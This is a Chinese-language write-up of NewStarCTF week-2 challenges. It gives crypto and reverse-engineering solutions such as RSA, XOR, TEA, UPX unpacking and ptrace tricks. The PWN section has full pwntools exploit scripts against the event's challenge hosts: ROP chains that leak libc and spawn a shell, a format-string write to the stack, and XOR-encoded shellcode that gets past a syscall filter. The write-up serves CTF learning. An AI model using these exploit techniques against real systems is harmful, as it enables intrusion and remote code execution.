Crypto
第2周的密码依然都是签到题
这是几次方? 疑惑!
给了个提示:hint = p^e + 10086 这里边不要当成乘幂,而且加法的优先级高于异或,所以p=hint ^ (e+10086)得到p就能正常解RSA了
Since you konw something
给的c是flag和key的字符异或,拿flag{这个头异或得到key(只有两字节)
茶里茶气
一个简单的tea加密
v2 = derta*32%p
for i in range(31,-1,-1):
v2 = (v2-derta)%p
v0 -= (v1+v2) ^ ( 8*v1 + v5 ) ^ ( (v1>>7) + v6 ) ; v0 %= p
v1 -= (v0+v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 ) ; v1 %= p
long_to_bytes((v0<<99)+v1)
b'flag{f14gg9_te2_1i_7ea_7}'
Just one and more than two
RSA给了因子,直接求d解密即可
PWN
第2题还是挺新的。
My_GBC!!!!!
栈溢出题,但会把payload加下密,加密也很简单就是高3低5互换然后异或5a,只是没有pop rdx所以只能利用原来的值,每次只能泄露1字节,泄露完libc就可以直接getshell
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
pop_rdi = 0x00000000004013b3 # pop rdi ; ret
pop_rsi = 0x00000000004013b1 # pop rsi ; pop r15 ; ret
def enc(pay):
p2 = b''
for v in pay:
v2 = ((v>>3)|(v<<5))&0xff
p2 += bytes([v2^0x5a])
return p2
#p = process('./vuln')
#gdb.attach(p, "b*0x401343\nc")
p = remote('101.200.139.65', 39155)
pay = b'\0'*0x18
for i in range(6):
pay += flat(pop_rdi,1,pop_rsi,elf.got['write']+i, 0, elf.plt['write'])
pay += p64(elf.sym['main'])
p.sendafter(b"Input something: \0O", enc(pay))
p.recvline()
p.recvline()
libc.address = u64(p.recv(6)+b'\0\0') - libc.sym['write']
bin_sh = next(libc.search(b'/bin/sh\0'))
print(f"{libc.address = :x}")
pay = b'\0'*0x18 + flat(pop_rdi, bin_sh, libc.sym['system'])
p.sendafter(b"Input something: \0O", enc(pay))
p.interactive()
Inverted World
read不是标准函数,是从当前位置向前写。这样就会溢出到read函数的返回地址。这题比较新颖的并且用$0来代替/bin/sh。头回见。
from pwn import *
context(arch='amd64', log_level='debug')
p = remote('39.106.48.123', 13049)
for i in range(8):
p.recvline()
pay = p64(0x40137c)+ b'A'*0x100
p.send(pay[::-1]+b'\n')
p.send(b'0$')
p.interactive()
easy fmt
先printf泄露再栈溢出,基础题
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
p = remote('39.106.48.123', 38698)
p.sendafter(b"data: \n", b'%16$p\n%19$p\n')
stack = int(p.recvline() ,16) - 8
libc.address = int(p.recvline(),16) - 0x29d90
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
print(f"{stack =:x} {libc.address = :x}")
#12,13
pay = flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'])
for i,v in enumerate(pay):
if v!=0:
p2 = f"%13$n%{v}c%12$hhn".encode().ljust(0x20,b'\0') + flat(stack+i, stack-0x4c)
else:
p2 = f"%13$n%12$hhn".encode().ljust(0x20,b'\0') + flat(stack+i, stack-0x4c)
p.sendafter(b"data: \n", p2)
p.sendafter(b"data: \n", b'cat flag\n')
p.sendafter(b"data: \n", b'cat flag\n')
p.send(b'cat flag\n')
p.interactive()
ez_game
栈溢出
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc-2.31.so')
elf = ELF('./attachment')
pop_rdi = 0x400783
p = remote('39.106.48.123', 16231)
p.sendafter(b"Welcome to NewStarCTF!!!!\n", b'\0'*0x58+ flat(pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['func']))
p.recvline()
libc.address = u64(p.recvline()[:-1]+b'\0\0') - libc.sym['puts']
print(f"{libc.address = :x}")
p.sendafter(b"Welcome to NewStarCTF!!!!\n", b'A'*0x58+ flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system']))
p.interactive()
Bad Asm
shellcode限制了syscall要用异或构造,常用的有xor [rsi+rbx],xx和xor [rip],xx前边这个可构造做单位置的可见字符异或,后边这个可以地址未知情况下直接异或后边两字节。
from pwn import *
context(arch='amd64', log_level='debug')
p = remote('39.106.48.123', 34301)
shellcode = '''
mov rsp,rsi;
add rsp,0x70;
push rdi;pop rsi;
xor rdi,rdi;
push 0x70; pop rdx;
push 0x17; pop rbx;
xor byte ptr[rsi+rbx],0x40
'''
shellcode = asm(shellcode)+b'\x0f\x45'
p.sendlineafter(b"Input your Code : \n", shellcode)
sleep(0.5)
p.send(b'\x90'*0x20+ asm(shellcraft.sh()))
p.interactive()
REV
UPX
用upx解相壳,这是linux下的壳要用linux下的upx解
from pwn import p64, xor
s = [0x8500fad99f8f4de3,0x4b71c1444f623ecd,0x0000890b853a7a63]
data = [0x9b2effe3b9af60c4,0x7d5fee6e515610f5,0x0000b5759c2b6e7d]
xor(b''.join([p64(i) for i in s]), b''.join([p64(i) for i in data]),b'A')
b'flag{Do_you_know_UPX?}AA'
drink_TEA
这是个标准的tea跟例子一样的。TEA加密是最容易魔改的,换移位组合sum等。
from ctypes import *
from pwn import u32,p32
def decrypt(v,k):
v0=c_uint32(v[0])
v1=c_uint32(v[1])
delta=0x9e3779b9
sum1=c_uint32(delta*32)
for i in range(32):
v1.value-=((v0.value<<4)+k[2])^(v0.value+sum1.value)^((v0.value>>5)+k[3])
v0.value-=((v1.value<<4)+k[0])^(v1.value+sum1.value)^((v1.value>>5)+k[1])
sum1.value-=delta
return p32(v0.value)+p32(v1.value)
key = b'WelcomeToNewStar'
key = [u32(key[i:i+4]) for i in range(0,16,4)]
c = bytes.fromhex('78 20 F7 B3 C5 42 CE DA85 59 21 1A 26 56 5A 5929 02 0D ED 07 A8 B9 EE36 59 11 87 FD 5C 23 24'.replace(' ',''))
c = [u32(c[i:i+4]) for i in range(0,32,4)]
m = b''.join(decrypt(c[i:i+2],key) for i in range(0,8,2))
#flag{There_R_TEA_XTEA_and_XXTEA}
Ptrace
主程序father调起子程序,并且通过ptrace修改子程序的代码,实现隐藏关键值的目的,这里子程序是移4位,主程序改为3
puts("Please input your flag:");
__isoc99_scanf("%32s", &s, v4, v5, v6, v7, v8, v9);
v11 = fork();
if ( v11 )
{
if ( v11 <= 0 )
{
perror("fork");
return -1;
}
wait(stat_loc);
ptrace(PTRACE_POKEDATA, addr, addr, 3); #修改子进程中移位4->3
ptrace(PTRACE_CONT, 0, 0, 0);
wait(0);
}
else
{
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl("./son", "son", &s, 0);
}
c = 'CC8D2CEC6F88EDEB2FEDAEEB4EAC2C8D8D2FEB6DCDEDEEEB0E8E4E2C6CACE7AF'
bytes([((i<<3)|(i>>5))&0xff for i in bytes.fromhex(c)])
#flag{Do_you_really_know_ptrace?}
ezencrypt
安卓题,java里先进行AES_ECB+base64再调用jni进行xor+rc4
key = b"IamEzEncryptGame" #title
key2 = b'meow'
#Python>idc.get_bytes(0x32c0,44).hex()
enc = 'c26c73f43a450eba47812a26f6796078b3646ddcc904323b9f329560ee8297e7ca3daa9576c59b1d89db985d'
#AES_ECB -> base64 -> xor -> RC4
#flag{0hh_U_kn0w_7h15_5ki11}
PangBai 泰拉记(1)
这里开了反调,如果监测到启用了调试就会运行上边函数,正常运行就是下边。
这种东西一共就两个,可以都试吧。并不会增加难度,除非那个人非理解代码不可。
if ( miao | IsDebuggerPresent() )
{
qmemcpy(v3, "nhvviCS", 7);
v3[7] = 127;
qmemcpy(v4, "R{e8%oCrdepIvebcR", 17);
v4[17] = 127;
qmemcpy(v5, "b>&ah{", sizeof(v5));
for ( j = 0; j < 32; ++j )
key[j] ^= v3[j];
}
else
{
qmemcpy(v7, "nhvviguMI?u\",o/fWivoM;", 22);
v7[22] = 127;
qmemcpy(v8, "Homy2.l#{", sizeof(v8));
for ( k = 0; k < 32; ++k )
key[k] ^= v7[k];
}
key = b'key1key2key3key4key6key7key8key9'
c = b'can you find me can you find me?'
key2 = b"nhvviCS\x7fR{e8%oCrdepIvebcR\x7fb>&ah{" #
key3 = b"nhvviguMI?u\",o/fWivoM;\x7fHomy2.l#{"
xor(key,key3,c)
#b'flag{my_D3bugg3r_may_1s_banned?}'
Dirty_flowers
反汇编,就是针对IDA的,加花指令,比如jz a;jnz a;不管怎么样就跟到a,但IDA理解不了,会把前边加的EX理解成跳转然后就乱了。手工nop以后就能正常反编译。
key = b"dirty_flower"
v3 = [2, 5, 19, 19, 2, 30, 83, 31, 92, 26, 39, 67, 29, 54, 67, 7, 38, 45, 85, 13, 3, 27, 28, 45, 2, 28, 28, 48, 56, 50, 85, 2, 27, 22, 84, 15]
xor(bytes(v3),key)
#b'flag{A5s3mB1y_1s_r3ally_funDAm3nta1}'